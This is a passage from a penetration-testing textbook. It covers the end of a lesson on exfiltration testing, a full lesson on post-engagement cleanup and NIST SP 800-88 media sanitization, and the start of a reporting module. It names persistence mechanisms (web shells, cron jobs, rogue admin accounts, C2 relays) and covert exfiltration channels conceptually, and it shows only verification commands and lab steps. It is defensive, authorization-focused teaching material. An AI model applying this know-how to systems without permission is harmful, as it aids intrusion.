Now change one input: the destination moves to a cloud storage service on the client's approved list. The traffic now looks like normal use of an allowed service, and the proxy may categorize it as business traffic. The conclusion changes: the control that would have blocked the first test, the proxy category rule, does nothing here, and the stronger fix becomes monitoring upload volume by account and process rather than by destination alone.

How exfiltration testing is reported

Report the path, not the data. An example finding, fictional:

  • Title: File server can upload to unclassified internet sites without alert.
  • Severity: High, because the server holds patient records and nothing blocked or flagged a 2.4 MB marker upload; severity would fall if an alert had fired within the agreed window.
  • Evidence: the proxy log line, the time of the test, the marker ID, and a note that the security team's console showed no alert.
  • Root cause: outbound traffic from servers is not restricted to an allow list, and no rule compares upload and download volume.
  • Remediation: restrict servers to approved destinations, add upload-ratio alerts, and add DLP at the web proxy.

State plainly that no real client data left the network, and that the marker was removed afterward (Lesson 26 covers cleanup).

Common misconceptions

  • "Encryption stops exfiltration." It stops reading the content, not the transfer. Behavior monitoring still sees the transfer.
  • "A tester should prove the risk with a small sample of real records." No. The ROE call for marker data, so real records never move.
  • "If the traffic is on an allowed port, it is safe." An allowed port is exactly what covert channels rely on.
  • "Steganography and encryption are the same thing." One hides that data exists, the other hides what it says.
  • "Cross-account sharing is not exfiltration because it stays inside the cloud." The data still reaches an account the owner does not control.

Recap

  • Staging gathers data in one place inside the network; exfiltration moves it out.
  • Compression shrinks data and encryption hides its content, and defenders can still see new large archives in temp folders.[4]
  • DNS and ICMP channels work because the network allows them; the clues are long encoded subdomains and fixed-size packets at regular intervals.[5]
  • Web service exfiltration (HTTPS, cloud storage, text storage sites) hides in allowed TLS traffic.[2]
  • Cross-account exfiltration moves data to another account on the same provider using its own sharing tools, and is seen in cloud audit logs.[3]
  • An alternate data stream hides data in NTFS file metadata; a file name with a colon is the clue.[6]
  • Steganography hides that data exists, and is usually paired with an earlier staging step.
  • Remember: a tester uses agreed marker data and reports the open path and missing detection, never real client records.

Sources

  1. MITRE. (n.d.). ATT&CK: Exfiltration (TA0010) and Exfiltration Over Alternative Protocol (T1048). attack.mitre.org
  2. MITRE. (n.d.). ATT&CK: Exfiltration Over Web Service (T1567). attack.mitre.org
  3. MITRE. (n.d.). ATT&CK: Transfer Data to Cloud Account (T1537). attack.mitre.org
  4. MITRE. (n.d.). ATT&CK: Data Staged, Local Data Staging (T1074.001) and Archive Collected Data (T1560). attack.mitre.org
  5. MITRE. (n.d.). ATT&CK: Steganography (T1001.002), DNS (T1071.004) and Non-Application Layer Protocol (T1095). attack.mitre.org
  6. MITRE. (n.d.). ATT&CK: NTFS File Attributes (T1564.004). attack.mitre.org
Key terms
Staging
Gathering data in one place inside a network, often as a single archive, before it is sent out.
Exfiltration
Moving data out of a network to a destination the owner does not control; MITRE ATT&CK treats it as a tactic.
Marker data
A harmless file with invented content and a unique ID, agreed with the client, used to prove a data path works without moving real records.
Covert channel
A path that carries data over something not designed for it, or that hides that data is being carried, such as DNS, ICMP or HTTPS traffic.
Steganography
Hiding a message inside an ordinary-looking file such as an image so that observers do not know anything is hidden.
DNS tunneling
Packing data into Domain Name System queries and responses so it travels over a service most networks allow.
Data loss prevention (DLP)
Software that scans outgoing content for sensitive patterns and blocks or flags it; it cannot read encrypted content.
Cross-account resources
Cloud data, such as a shared snapshot or backup, moved to another account on the same provider, often without leaving the provider's network.
Alternate data stream (ADS)
A named extra block of data attached to a file on NTFS; its file name contains a colon and it does not show in a basic directory listing.
Rules of engagement (ROE)
The written limits of a test, including which data may be touched, which destinations are allowed and who must be told.

Leave It as You Found It: Cleanup, Restoration, and Data Destruction

  • Order and carry out cleanup from a persistence record: preserve artifacts, remove persistence and tools, revert configuration, remove tester-created credentials and spin down infrastructure, confirming each with a read-only check.
  • Decide when cleanup must stop and escalate, including when a check finds something that is not on the record.
  • Explain what a snapshot restore proves and what it does not.
  • Choose clear, purge or destroy under NIST SP 800-88 Rev. 2, and document the result in a signed record and a certificate of sanitization.

Eleven rows and a month-end freeze

At 01:10 on the last night of testing, your persistence record has eleven rows, and the testing window closes at 05:00, when the client's month-end change freeze begins. The client is Corvid Bay Credit Union, the made-up organization from Lesson 4, which has since bought a follow-on internal test of its server network, 10.20.4.0/24, on night hours. Row 1 is a web shell on an intranet server. Row 7 is a local administrator account whose password only you know. Until they are gone, each one is a weakness you created in someone else's network.

The PCI Security Standards Council's penetration testing guidance gives the plain reason for removal: leftover accounts and tools must not be there to be used against the organization. This lesson walks that record from 01:10 to a signature, in the order a careful tester works, which is not the order the objective lists. Then the same night runs again with one input changed, a file on the server that is not on your list, and most of the decisions flip.

Exam objectives: 5.4 (remove persistence mechanisms, revert configuration changes, remove tester-created credentials, remove tools, spin down infrastructure, preserve artifacts, secure data destruction).

The persistence record, with two more columns

Write a row in the persistence record the moment you place something, because at 01:10 memory is not evidence. For cleanup the record needs two more columns: the original state, and a read-only check that proves the item is gone. Every name and address here is fictional.

#WhereWhat you placed or changedOriginal stateRead-only check
1web01, 10.20.4.15Web shell cb-test-7f3a.php in /var/www/html/uploads/File absentls -l of the folder
2web01Cron entry under www-data, running /tmp/cbt-check.shNo crontab for www-datacrontab -l for www-data
3web01SSH public key "cbtest" in deploy's authorized_keysTwo named keysCount of "cbtest" in that file
4web01PermitRootLogin changed in sshd_confignosshd -T
5app02, 10.20.4.22Scheduled task CB-Test-UpdaterAbsentschtasks /query
6app02Service CBTestSvc, with tools in C:\CBTest\Absentsc query CBTestSvc
7app02Local account svc_cbtest in AdministratorsThree named membersnet user; net localgroup
8Endpoint detection and response (EDR) consoleExclusion for C:\CBTest\, added by the client's administrator at your requestNo exclusionClient reads the console
9InternetYour command and control (C2) relay VM at 192.0.2.77 and domain cb-relay.exampleDid not existProvider's resource list and bill
10Client's DNS zoneCNAME updates.corvidbay.example pointing at your VM, added by the clientDid not existdig +short
11Branch officeSmall single-board computer in a comms closet, serial on fileNot thereIn your hand, serial matches

Rows 8 and 10 were made by the client's staff at your request, and PCI's guidance expects you to disclose those too. Four rules govern what follows.

  • Preserve first. Removal destroys the proof.
  • The record is the authority. Remove what it lists, and nothing else.
  • A removal is a claim until a separate read-only check confirms it.
  • Whoever made a change reverses it. You chase the client's rows.

Step 1: Preserve artifacts before you change anything

The objective lists preserving artifacts near the end. Do it first, because a deleted web shell cannot be photographed. For each row, capture what the report will need: path, owner, size, timestamps, a file hash and output showing it in place. Export your tool and C2 server logs too.

NIST SP 800-115 asks assessors to keep an activity log with at least:

  • the date and time
  • assessor's name
  • testing system
  • target
  • tool
  • command
  • comments

The log is an audit trail that lets the organization tell assessors' actions from those of true adversaries. If Corvid Bay's monitoring raises an alert next week, that log shows whether it was you.

Keep proof, not data. The Penetration Testing Execution Standard (PTES) says passwords stay out of the report or are masked. It also says regulated data should not land on testers' own systems. It says to show proof of access instead, such as file permissions, a record count or file names. You never have to destroy what you never took.

Then make tampering visible. A hash manifest shows whether a file has changed since it was stored, and a chain of custody documents each person who handled the evidence, when it was collected or transferred, and why. Sample text:

$ sha256sum activity-log.csv corvid-evidence.tar.gpg
71d1aa0b8d9aef96e4077fdae214682c3d1e0e568e5913c688035aecee1044f2  activity-log.csv
ca5fca3fc80446fb56b266e15d98608cf34ccbb11cd5edd8e41182b6c00e31df  corvid-evidence.tar.gpg

Custody log
Item                     From           To             When           Purpose
corvid-evidence.tar.gpg  tester laptop  firm vault     Fri 07:22 UTC  Storage until report
corvid-evidence.tar.gpg  firm vault     peer reviewer  Mon 14:05 UTC  Report review

Retention is a contract term. SP 800-115 says it belongs in the assessment plan or rules of engagement (ROE), and Corvid Bay's ROE from Lesson 4 says evidence is encrypted and destroyed 90 days after the report.

Why this matters: artifacts are what separate your noise from an intruder's, and the only moment to collect them is before the cleanup erases them.

Two mobile phones sealed in a clear police evidence bag, with printed lines for names, dates and signatures across the top.
An evidence bag with its custody form
Errant . Original uploader was ErrantX at en.wikipedia - Public domain - Wikimedia Commons

Step 2: Agree the order with the client

Removing something from a production host is itself a change, so it goes through the contact the ROE names, here the security manager. Tell the security operations center (SOC) what is happening and when, because your removals raise alerts of their own. Then order the rows so that each step leaves you able to do the next:

  1. Triggers, anything that runs on a schedule or at boot: rows 2, 5 and 6.
  2. What the triggers ran, and your tools: row 1 and the files behind rows 2 and 6.
  3. Configuration: row 4, with the client's row 8.
  4. Credentials, last on each host because they are how you get in: rows 3 and 7.
  5. Your infrastructure: row 10 before row 9, then row 11.

Step 3: Remove persistence mechanisms, triggers first

A trigger can rebuild what you delete. A cron entry or service that reinstalls a file will bring it back after your check has passed. So take out the trigger first, then what it ran, and repeat the check after the trigger's next scheduled time has gone by. Each persistence mechanism has its own check and leaves its own trace for the client.

MechanismWhat it leaves openRead-only check after removalWhat defenders see
Scheduled taskYour code runs on its trigger with the task's rightsschtasks /query /tn "NAME" returns an errorWindows events 4698 (created), 4699 (deleted)
Cron entryThe same, on Linuxsudo crontab -l -u USER; ls /etc/cron.dCron's lines in the system log; file integrity alerts
ServiceStarts at boot, often with high privilegessc query NAME; systemctl status NAMEWindows event 4697 (installed)
Registry Run keyRuns at logonreg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunWindows event 4657, only if the key's auditing is set
Web shellAnyone who finds the URL inherits your accessFile gone from the folder; a request returns 404File integrity alerts; web server logs
Reverse or bind shell, C2 agentAn outbound beacon or a listening portss -tlnp; process list; empty agent list on your serverEgress logs stop showing callbacks
Browser extensionRuns in a user's browser profileExtension list of every profile you touchedEndpoint inventory
RootkitHides itself from the host's own toolsOnly from outside the running systemOffline scans, if anyone looks
Tampered security controlA blind spot in the client's detectionThe control's console shows the original setting; usually the client's to restoreAgent health alerts

The event numbers let the client check your work independently, where that auditing is on. The rootkit row deserves a second look. A rootkit exists to hide programs, files and connections from the operating system's own reporting, so asking that system whether it is gone is asking the liar. Check from trusted boot media or examine the disk offline. If you cannot, the honest entry reads "not verified" and the client decides whether to rebuild. PTES requires prior written consent before you use any method whose removal may cause downtime.

The Windows Event Viewer showing the Windows Logs tree on the left and a table of events with level, date, source and event ID.
Windows Event Viewer, where event numbers such as 4698 appear
בר - CC BY-SA 4.0 - Wikimedia Commons

Step 4: Revert configuration changes

PTES asks that settings go back to their original positions and that the client receives the list of changes so it can confirm them, with anything that could not be put back shown separately. Three habits keep a revert from doing harm of its own.

  • Read before you write. If the value is what you set, restore the original. If it is a third value, someone else has changed it since, and a blind restore would undo their work. Stop and ask.
  • Reload what reads it. sshd rereads its configuration when it receives a hangup signal, so until then the running daemon keeps the old setting whatever the file says. And sshd -T tests the file, not the running service, so reload before you trust it.
  • Hand back what the client changed. Row 8's exclusion is a gap in the client's detection, and only its administrator can close it. PCI's guidance expects the report to give directions for this, including restoring active protection settings and how to verify that controls are back.
$ sudo grep -i '^PermitRootLogin' /etc/ssh/sshd_config
PermitRootLogin yes                     <- what you set, so the revert is yours
[original value restored; service reloaded]
$ sudo sshd -T | grep -i permitrootlogin
permitrootlogin no

Step 5: Remove tools, and count the hardware back in

PTES's cleanup list starts here: every executable, script and temporary file. Your record gives each file's path and hash, so you can hunt stray copies by hash rather than by name. PCI's guidance adds database entries you added or changed. Anything no command can remove gets counted back in: row 11, USB devices from a physical test (Lesson 13), cloned badges.

Deleting a file from a client's disk does not erase it; the residue is called data remanence. PTES asks for secure deletion where possible, but GNU's manual for shred warns that it relies on data being overwritten in place, which file systems that journal data, RAID, snapshots and compression may not do. So keep sensitive output on your own encrypted storage, and if any reached the client's disk, tell the client what and where.

One thing never goes on your list: logs. PTES says none should be removed, cleared or modified unless the contract or statement of work specifically authorizes it, and then only after backup. Clearing logs is what an intruder does (Lesson 16), and it would destroy the client's chance to measure detection along with any trace of a real attacker. Cleanup is not covering your tracks.

The top of a Raspberry Pi 4 Model B circuit board with its USB, network and HDMI ports.
A single-board computer, small enough to forget
Laserlicht - CC BY-SA 4.0 - Wikimedia Commons
A wiring closet whose racks are hidden behind a dense tangle of blue network cables, the kind of place where a small device is easy to miss.
A crowded comms closet
Unknown author - Public domain - Wikimedia Commons

Step 6: Remove tester-created credentials, and report the captured ones

Credentials come last on each host because they are how you reach it, so the final check must come from another account or from the client. Delete rather than disable, since a disabled account can be switched back on. Give each kind of credential its own row: resetting a password does nothing to an SSH key, a cloud access key or an API token. PTES tells testers to remove the accounts they created, while PCI's guidance says the organization should remove them once you disclose them, so the ROE decides who presses the button. Either way, the row closes on a check.

The client can confirm it in its Windows logs: event 4720 when the account was created, 4732 when it joined a local group, 4733 when it left, and 4726 when it was deleted.

Now the distinction the objective's wording hides. You can delete what you created. You cannot delete what you captured. A password you cracked or a token you copied stays valid in the client's directory until the client rotates it. So keep a second list, by account name and never by value, and hand it over for reset. Your own copies are dealt with in Step 9.

Step 7: Spin down infrastructure, in the right order

Your side of the engagement also has to end: C2 servers, relays, domains, tunnels, VPN accounts, cloud storage. Two mechanisms set the order.

First, your server is a sensor. Once the agents are gone it should go quiet, so keep it up for at least one full check-in interval after the last removal and read its log. A check-in from a host on no row means you missed something or that it is not yours, and shutting down would blind you to it.

Second, whatever you let go, someone else can pick up. Microsoft calls a DNS record that points to a deprovisioned resource dangling: whoever later claims that resource's name can serve content from the client's subdomain. So row 10's CNAME goes before row 9's VM. Domains behave the same way. In January 2025, researchers at watchTowr reported registering more than 40 abandoned domains that old web shells still called out to, and seeing over 4,000 live backdoors check in. Keep your domains registered well past the end of the test.

Finish by reading the provider's resource list and bill: nothing running, nothing stored, no disk images, snapshots, buckets or log archives. Those hold client data, so they move to the destruction list in Step 9.

Step 8: The final sweep, read as a performance-based question

It is 04:20 and every row has been worked. Run the checks again from a different account, then give each row a status: closed, reopen, or open with an owner. Try it before you read the table. This is sample output, the kind to expect from these tools.

web01, 04:20
$ ls -l /var/www/html/uploads/
-rw-r--r-- 1 www-data www-data 18233 Feb 18 09:14 branch-map.png
$ sudo crontab -l -u www-data
no crontab for www-data
$ sudo grep -c cbtest /home/deploy/.ssh/authorized_keys
0
$ sudo sshd -T | grep -i permitrootlogin
permitrootlogin yes

app02, 04:26
> schtasks /query /tn "CB-Test-Updater"
ERROR: The system cannot find the file specified.
> sc query CBTestSvc
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
The specified service does not exist as an installed service.
> net user svc_cbtest
The user name could not be found.
> net localgroup administrators
Members
-----------------------------
Administrator
cb-it-admins
svc_backup

Everything else, 04:35
Security manager: exclusion still listed; EDR administrator on shift at 07:00
$ dig +short updates.corvidbay.example
                                  [no answer]
C2 server: 0 agents; last check-in 01:52 from 10.20.4.22
Network box: in hand since Tuesday, serial matches row 11
RowsEvidenceStatusReasoning
1, 2, 3Only branch-map.png; no crontab; count of 0ClosedEach matches the original state on the record
4permitrootlogin yesReopenYes is what you set, so the revert never took. It is yours: restore, reload, recheck
5, 6, 7Two errors, one "could not be found", three group membersClosedHere an error is the passing result. Compare the group with the three names on the record rather than judging by eye
8The client says it is still listedOpen, owner: client's EDR administratorYou cannot close it, and the freeze starts first, so it goes on the signed record as open
9, 10, 11No DNS answer; quiet C2 log; box in handClose 10 and 11; shut down 9, keep the domainThe log has been quiet since 01:52, well past one check-in interval, so the server may now go

Row 4 closes at 04:31 after the recheck. Then comes the signature. PTES wants changes that could not be reversed clearly separated from those that were, and the record does that.

CLEANUP AND RESTORATION RECORD (fictional)
Engagement:           Corvid Bay Credit Union, internal test, 1-26 March
Closed and verified:  rows 1-7, 9-11. Checks run from a second account; output in evidence file.
Reopened and closed:  row 4, restored to "no", service reloaded, rechecked 04:31.
Open:                 row 8, EDR exclusion. Owner: client EDR administrator. Due 07:00.
Captured credentials: 3 accounts listed in Annex B for client reset. Values not included.
Not touched:          client logs. No entries removed or changed.
Evidence retained:    corvid-evidence.tar.gpg, encrypted. Destroy by report date + 90 days.
Tester: ______________ (name, date)    Client concurrence: ______________ (security manager, date)

A second run: the file that is not yours

Same night, same sweep, one different line in the first listing. The test began on 1 March.

$ ls -l /var/www/html/uploads/
-rw-r--r-- 1 www-data www-data 18233 Feb 18 09:14 branch-map.png
-rw-r--r-- 1 www-data www-data  1204 Jan 22 03:17 img_2.php

img_2.php is not on your record, and it is dated five weeks before the engagement started. It could be a forgotten tool, an earlier tester's leftover or an intruder's web shell. You cannot tell from here, and finding out is not your job. The tidy instinct, clean the folder, would delete the only evidence of a possible breach.

DecisionFirst runThis run
The uploads folderConfirm your file is goneTouch nothing. Do not delete it, open it or request it. Note the path, size, owner and time
Work on web01Finish the rowsStop. SP 800-115 recommends that assessors stop assessing the systems involved while the organization responds
Telling the clientMorning status messageCall the first name on the escalation list now. Signs of a real intrusion are one of the stop conditions set in Lesson 4, and Lesson 27 works through that call
Your logsStored for the reportPTES: saved, hashed and provided to the client, who decides how to respond
Your rows on web01Remove themAsk first. Removing them now changes a host that may be under investigation
Spin-down and destructionOn scheduleHold until the client releases them in writing. Its lawyers may impose a legal hold, and NIST tells owners to consult legal and records officials before sanitizing anything

Why this matters: the record also tells you what is not yours. Breach laws may start a clock (Lesson 3), and a tester who cleans up an unknown file may destroy what the client's responders and lawyers need.

Try this in your lab: what a snapshot restore proves

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command here stays on the VMs you built in Lesson 2. Allow about ten minutes, and write down a prediction at step 3.

  1. On Kali, make a file that lives outside the target: sudo nmap -sV -p 21,22 192.168.56.102 -oA before-restore
  2. At Metasploitable's console, make a harmless change: touch cleanup-marker.txt, then ls -l cleanup-marker.txt
  3. Predict which of those files will survive a restore of Metasploitable.
  4. Power Metasploitable off. In VirtualBox Manager, open its snapshots and restore the one you took in Lesson 2. VirtualBox may offer to save the current state first; nothing on it matters here.
  5. Start it, log in and run ls -l cleanup-marker.txt. Expect something like "No such file or directory".
  6. On Kali, run ls before-restore.*. Expect all three files, untouched.
  7. Rerun the isolation tests from Lesson 2, starting with route -n and ping -c 3 192.0.2.1 on Metasploitable. You need "Network is unreachable" at once.

VirtualBox's guide explains the result. A snapshot holds the VM's settings, the state of its virtual disks and, if it was running, its memory, and restoring undoes all of them together: files created since disappear, and files deleted since return. A disk in write-through mode is the exception, because it is not part of the snapshot.

QuestionDoes the restore answer it?Why
Is the marker gone from that VM's disk?YesEverything since the snapshot went with it
Was your record complete?NoIt removed listed and unlisted items alike, so it cannot show what you failed to write down
Did anything leave the VM?NoYour Kali files never moved. Neither would your notes, captured data, or accounts held in a directory or cloud elsewhere
Is the VM now clean?Only as clean as the moment you savedA snapshot taken mid-test brings your persistence back with it
Is the evidence safe?The oppositeThe current state is lost unless you save it first, including any intruder's traces
Is the network as it was yesterday?CheckSettings come back too

That last row is the changed input to try in your head. Restore Kali's "clean" snapshot from Lesson 2 instead of "isolated". That snapshot was saved with the NAT adapter attached, so ip route now shows a default route and the isolation test fails: undoing your changes has made the lab less safe. Set adapter 1 back to "Not attached", or restore "isolated", and test again.

On a real client's server, a restore also loses every change since the snapshot, which on production means real transactions. It can be the client's choice for a test VM, but it never replaces the record, because it cannot reach a domain account, a DNS record, a cloud key or your laptop.

Step 9: Destroy what you hold, under NIST SP 800-88 Rev. 2

Ninety days after the report, the evidence you preserved must go, unless a hold says otherwise. PTES ties destruction to the client's acceptance of the final report and says the method and proof of destruction go to the client, so read your own ROE for the trigger.

The current standard is NIST SP 800-88 Revision 2, published in September 2025, superseding Revision 1 of December 2014, with a FAQ added on 16 July 2026. SP 800-115 (2008) still describes a fourth category called disposal, and Revision 1 gave media-by-media tables. Revision 2 has three methods, calls electronic media information storage media (ISM), and sends you to IEEE 2883 for techniques. The decision starts from how confidential the data is and whether the media will be reused; the media type then narrows the technique.

MethodRecovery it defeatsHowAfterwardApplies to
ClearSimple recovery through the normal interfaceLogical: overwrite all user-addressable locations, typically one pass, or a factory reset if rewriting is not supportedUsableSome ISM; never hard copy
PurgeState-of-the-art laboratory recoveryLogical: dedicated sanitize commands (overwrite, block erase, cryptographic erase). Physical: degaussing, magnetic media onlyPotentially reusableSome ISM; never hard copy. NIST prefers it to clear where possible
DestroyState-of-the-art laboratory recoveryPhysical: disintegrate, incinerate, melt, pulverize, shredCannot store data againAll hard copy and most ISM; not logical storage
Torn metal fragments of a hard drive, with pieces of platter and circuit board mixed together.
A shredded hard drive; NIST now limits shredding of storage media to the lowest data categories
IT Liquidators - CC BY-SA 3.0 - Wikimedia Commons

Five traps in media sanitization

  • Many passes. Revision 2 says multi-pass overwriting is unnecessary. DoD, the source of the old pass counts, removed its overwriting specifications in 2006.
  • Overwriting flash. An SSD has spare cells and moves data for wear leveling. NIST's example is 1,024 GB of physical storage behind 900 GB you can address, so your writes never reach every old copy. Use a dedicated sanitize command or cryptographic erase.
  • Magnets. Degaussing is purge only for magnetic media, and only if its strength matches the media. It is not destroy, even when the drive stops working, and on an SSD it can finish successfully while sanitizing nothing.
  • Damage. Bending, cutting or drilling may leave parts readable in a laboratory. NIST also says to avoid shredding and pulverizing storage media for anything but the lowest data categories, and its FAQ points to listed high-powered degaussers for magnetic media and to incineration or melting for the rest.
  • Key erasure without its conditions. Cryptographic erase (CE) sanitizes the keys instead of the data, so it is fast, and for cloud storage it may be the only purge option. It needs security strength of at least 128 bits, no sensitive data stored in plaintext on that media beforehand, and every copy of the key sanitized, so backups and escrowed keys count against it. For secrets that must stay protected for decades, NIST says it may not be acceptable, because the ciphertext remains.

A tester's habit follows. PTES wants gathered data encrypted on testers' systems. Give each engagement its own encrypted volume from the first hour, and CE becomes possible on a laptop that stays in service. The FAQ allows that selective erase only with absolute confidence that the data never escaped the encrypted boundary, and it still prefers sanitizing the whole device. An autosaving notes app or a screenshot written to the Desktop breaks that boundary.

The bare circuit board of a USB flash drive, with a large flash memory chip, a small controller chip and the USB connector.
Inside a USB stick: a flash chip behind a controller
Killarnee - CC BY-SA 4.0 - Wikimedia Commons
An opened hard disk drive on a workbench, with its top platter bent and lifted away from the chassis.
Damaged is not the same as destroyed
Jaroslaw B - CC BY-SA 4.0 - Wikimedia Commons

Worked decisions: six places, three methods

Inventory first, because client data spreads: the Kali VM and every snapshot of it (a snapshot keeps files you have since deleted), web proxy project files, the password-cracking rig, chat channels, paper, removable drives and backups. Then decide each place from the fact that matters.

Where the data sitsThe fact that decidesMethod and technique
Engagement volume on your laptop's SSD; the laptop stays in serviceEncrypted from the first hour, unique key, key never backed upPurge: CE of that volume
The same laptop, one input changed: screenshots sat on the unencrypted Desktop for an hourPlaintext escaped the boundary, and deleting or overwriting a file does not reach old copies on flashPurge the whole SSD with its dedicated sanitize command, then rebuild
USB stick used to carry evidenceWill not be reused; NIST says destruction can then be the simplest choiceDestroy
Paper notes and a printed draftHard copyDestroy, for example with a cross-cut shredder; clear and purge do not apply
Cloud bucket of C2 logs and evidenceLogical storage, so you cannot reach the hardwarePurge: CE through the key you control, after deleting versions and backups and checking the provider's agreement; destroy is not available
Retired hard disk from the cracking rig, going to a recyclerMagnetic, holds captured hashes, and is leaving your controlPurge with a dedicated command or matched degausser, or destroy by incineration or melting; track it to its destination

Two more steps follow. Verification inspects the outcome: did the tool finish without errors, what do the remnants look like? NIST does not require sampling the contents after clear or purge unless policy does. Validation is the decision: given that outcome and the data's sensitivity, do you accept the remaining risk, or repeat with a stronger method? A certificate of sanitization records both, with a concurrence signature on NIST's sample form.

CERTIFICATE OF SANITIZATION (fictional)
Media:         USB flash drive, make, model, serial 7731-0042; source: evidence courier
Method:        Destroy     Technique: incinerate     Tool and version: vendor furnace, log 5512
Verification:  remnants inspected; vendor log attached
Validation:    approved by engagement lead
Signed:        name, title, date, location, phone    Concurrence: name, title, date

Skipping that chain has a price. On 20 September 2022 the US Securities and Exchange Commission announced that Morgan Stanley Smith Barney would pay $35 million over failures involving the personal information of about 15 million customers.

According to the SEC, the firm hired a moving company with no data destruction experience to decommission thousands of drives and servers and did not adequately monitor it. The mover sold devices on, and some reached an internet auction site with customer data still on them. The firm neither admitted nor denied the findings.

NIST's general point: if tracking breaks anywhere between intake and final destination, your records show only that some media were sanitized, not that all were.

The cutting head of a paper shredder seen from below, with strips of cut paper lying across it.
A cross-cut paper shredder, for hard copy
wdwd - CC BY-SA 3.0 - Wikimedia Commons

How cleanup is reported

Cleanup appears in the report in three places:

  • the detailed list of actions and their times, in an appendix, as PTES asks
  • the list of changes, with the unreversed ones separated
  • in PCI's report outline, directions for any task still to be done and how to verify that controls are back

Anything left open is a finding in its own right:

  • Title: EDR exclusion requested for testing remained active on app02 after the test ended.
  • Severity: Medium until closed. It removes detection from one folder on a server that handles member data. It is not High because an attacker would already need access to app02, and the folder is empty.
  • Evidence: the security manager's message at 04:35, and a console screenshot supplied by the client; row 8 of the record.
  • Root cause: only a day-shift administrator can change the console, and the cleanup plan set no time for this row before the freeze.
  • Remediation: the client's EDR administrator removes the exclusion and confirms from the console that the list matches its pre-test state; the tester records the closure. In future, schedule client-owned rows before the last testing night.

Later closures and certificates go to the client as an addendum, so the file ends with no open rows.

Common misconceptions

  • "Cleanup means wiping my traces from the logs." Logs stay unless the contract specifically says otherwise. Your activity log is what explains them.
  • "Restoring a snapshot is cleanup." It resets one VM. It cannot show your record was complete or reach anything outside that VM.
  • "Delete everything on the last day." Artifacts come first and are kept for the agreed retention period, because the report, a retest or a dispute may need them.
  • "A seven-pass wipe is the gold standard." Multi-pass overwriting is obsolete, and on flash it misses cells that the interface cannot address.
  • "I reset the password, so my access is gone." Keys and tokens are separate credentials, and each needs its own row.

The takeaway

  • Preserve artifacts first, and keep an activity log: it is what lets a client tell your actions from an adversary's.
  • The working order is triggers, then what they ran and your tools, then configuration, then credentials, then infrastructure, with a DNS record removed before the host it points to.
  • Read before you revert: your value means restore the original; a third value means someone else changed it, so ask.
  • Delete credentials you created, report captured ones for the client to rotate, and leave logs alone unless specifically authorized in writing.
  • Something on a host that is not on your record means stop, leave it, escalate, save and hash your logs, and hold destruction.
  • A snapshot restore resets that VM's disk and settings. It proves nothing about your record, other systems or your own copies, and the isolation tests must be rerun afterward.
  • NIST SP 800-88 Rev. 2 (September 2025) has three methods: clear defeats simple recovery, purge and destroy defeat laboratory recovery; hard copy can only be destroyed, and logical storage cannot be.
  • Multi-pass overwriting is unnecessary, overwriting does not reach an SSD's spare cells, degaussing is not destruction, and cryptographic erase needs strong encryption, no earlier plaintext and every key copy gone.
  • Verification inspects the outcome, validation decides whether to accept it, and a signed record keeps closed rows apart from open ones.

Sources

  1. Chandramouli, R., and Hibbard, E. A. (2025). Guidelines for media sanitization (NIST Special Publication 800-88 Rev. 2), sections 1.1, 2.3, 3.1-3.2, 4.3-4.6, Appendices C and D. National Institute of Standards and Technology. csrc.nist.gov; National Institute of Standards and Technology. (2026, July 16). Frequently asked questions for NIST SP 800-88r2, Q5-Q10 and Q13. csrc.nist.gov (PDF)
  2. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), sections 6.5, 7.2 and 7.4. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF); National Institute of Standards and Technology. (n.d.). Chain of custody. In CSRC glossary. csrc.nist.gov
  3. The PTES Team. (2016). Post exploitation: Rules of engagement; Cleanup. In The penetration testing execution standard. pentest-standard.readthedocs.io
  4. PCI Security Standards Council. (2017). Information supplement: Penetration testing guidance, sections 4.3.3 and 5.2.1. pcisecuritystandards.org (PDF)
  5. Oracle. (n.d.). Snapshots. In Oracle VirtualBox user guide for release 7.2. oracle.com
  6. Free Software Foundation. (n.d.). shred: Remove files more securely. In GNU Coreutils manual. gnu.org
  7. OpenBSD. (n.d.). sshd(8) manual page. man.openbsd.org
  8. Microsoft. (n.d.). Audit events 4657, 4697, 4698, 4699, 4720, 4726, 4732 and 4733. In Windows security auditing. learn.microsoft.com (event 4698; the others follow the same address pattern); Microsoft. (2026). Prevent dangling DNS entries and avoid subdomain takeover. learn.microsoft.com
  9. Harris, B., and Hammond, A. (2025, January 8). Backdooring your backdoors - Another $20 domain, more governments. watchTowr Labs. labs.watchtowr.com
  10. U.S. Securities and Exchange Commission. (2022, September 20). SEC charges Morgan Stanley Smith Barney with failing to protect customer information (Press release 2022-168). sec.gov
Key terms
Persistence record
A tester's running list of every mechanism placed or setting changed on a client's systems, with its location, time and original state, used to reverse and verify each one when testing ends.
Chain of custody
A documented trail showing each person who handled a piece of evidence, when it was collected or transferred, and why.
Data remanence
Residual data that stays on storage media after an attempt to delete or erase it.
Clear sanitization method
Under NIST SP 800-88 Rev. 2, logical techniques such as overwriting all user-addressable storage, which protect against simple recovery through the normal interface and leave the media usable.
Purge sanitization method
Under NIST SP 800-88 Rev. 2, physical or logical techniques that make recovery infeasible even with state-of-the-art laboratory methods while leaving the media potentially reusable.
Destroy sanitization method
Under NIST SP 800-88 Rev. 2, physical techniques such as incineration or melting that make recovery infeasible and the media unable to store data again.
Cryptographic erase (CE)
A purge technique that sanitizes the keys protecting encrypted data rather than the data itself; it requires strong encryption, no earlier plaintext on the media, and every copy of the key gone.
Certificate of sanitization
A signed record of what media was sanitized, by what method, technique and tool, how it was verified and validated, and by whom.
Legal hold
An instruction, usually from lawyers, to preserve relevant records because litigation or an investigation is expected, which suspends routine destruction schedules.
Dangling DNS record
A DNS record that still points to a deprovisioned resource, which lets whoever later claims that resource serve content from the record's name.

Module 9: Reporting and Communication (Domain 1, objectives 1.2, 1.4 and 1.5)

Practice the work clients actually pay for: communicating during a test, escalating what cannot wait, building a report from executive summary to detailed findings with defensible risk scores, and recommending technical, administrative, operational and physical fixes that fit the root cause.

Telling the Client While You Test: Communication, Escalation, and Risk

  • Decide when a finding, an intruder or a harmed service must go up the escalation path at once, and deliver the message so the client can act on it.
  • Articulate severity, impact and risk separately, and use a client's business impact analysis to set priorities.
  • Explain peer review, stakeholder alignment, goal reprioritization and root cause analysis, and recognize each in a scenario.
  • Protect results through secure distribution, and tell client acceptance from risk acceptance when a client asks to change or drop a finding.

